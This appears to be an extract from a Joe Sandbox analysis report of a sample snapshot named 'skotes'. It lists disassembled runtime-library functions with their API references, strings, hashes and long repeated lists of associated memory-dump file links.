Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 28ed23e63ae80ef6d3635077d4193c14a1f4f2a22eb6ddbee9550333eb98e608
Instruction ID: 2f172cf3b62f3cd9411cfe83dab6e50d06a1742a6a92aa8007fb83f58619c0a7
Opcode Fuzzy Hash: 28ed23e63ae80ef6d3635077d4193c14a1f4f2a22eb6ddbee9550333eb98e608
Instruction Fuzzy Hash: 4C216D70C14249DADF28DFB4C945AFEBBF8BF14320F200A2DE151A61D2E7718A44CB50

Function 00AD1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00AD1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AD1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AD1C2A

Strings

switchState, xrefs: 00AD1B5E
pContext, xrefs: 00AD1C22

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: caa0faa7eb91fee7db4b1927c8df1bcf24b7a1322687a16f3a6bdaf4e7f186d9
Instruction ID: b2aa6c9fbe6cff7d94d6c0503703e835b95066147ec075af3c57d2f830b9f765
Opcode Fuzzy Hash: caa0faa7eb91fee7db4b1927c8df1bcf24b7a1322687a16f3a6bdaf4e7f186d9
Instruction Fuzzy Hash: BB318535A40214BBCF05EFA4C985EADB7B5FF44324F208567E91297392EB71ED05CA90

Function 00AD727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00AD72BE

Strings

.cmd, xrefs: 00AD72DC
.com, xrefs: 00AD72FE
.bat, xrefs: 00AD72ED
.exe, xrefs: 00AD72CB

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 8cb324cfc28a59a2f101e7c544f2460a7a85ff296bee77d951833b25b79845ec
Instruction ID: 02be716205526687027d01367609e55207d1d693490e1e585aa00eb679facc8e
Opcode Fuzzy Hash: 8cb324cfc28a59a2f101e7c544f2460a7a85ff296bee77d951833b25b79845ec
Instruction Fuzzy Hash: 01012627728A263567181159DE02BBE37989BC2BB4B26002BFC55FB3C1FF44DC4262A0

Function 00ABFA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00ABFB06

Strings

kernel32.dll, xrefs: 00ABFA7A
GetCurrentProcessorNumberEx, xrefs: 00ABFABE
GetThreadGroupAffinity, xrefs: 00ABFA93
SetThreadGroupAffinity, xrefs: 00ABFA87

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: de5ae267a8dd86fd4923b559d22883b485f434f44c43aa3acbcccb93896257a5
Instruction ID: 681f98977de42657fe2126f44f9acfe4dce08df0236e9dc81f8b825cc4330ea5
Opcode Fuzzy Hash: de5ae267a8dd86fd4923b559d22883b485f434f44c43aa3acbcccb93896257a5
Instruction Fuzzy Hash: F4012D76546719BDA7147BB95E42FFB35DCAF01784725083EB601F3142EE64D80049A0

Function 00AD2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00AD20B7

Part of subcall function 00ACCAF3: Mailbox.LIBCMT ref: 00ACCB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00AD20C8
StructuredWorkStealingQueue.LIBCMT ref: 00AD20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00AD210F

Strings

e, xrefs: 00AD20D9

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: fd5ac07e277c8f56ceab9129420cde4090b8ce4dfa7ee2d736ca56728e076570
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 42119131101105ABDB15DF69C985BAA73A5AF25364B14C25BFD079F302DB71DD01CB91

Function 00ABD029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 00ABD0A5

Strings

kernel32.dll, xrefs: 00ABD04C
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00ABD03B
SleepConditionVariableCS, xrefs: 00ABD05D
WakeAllConditionVariable, xrefs: 00ABD069

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
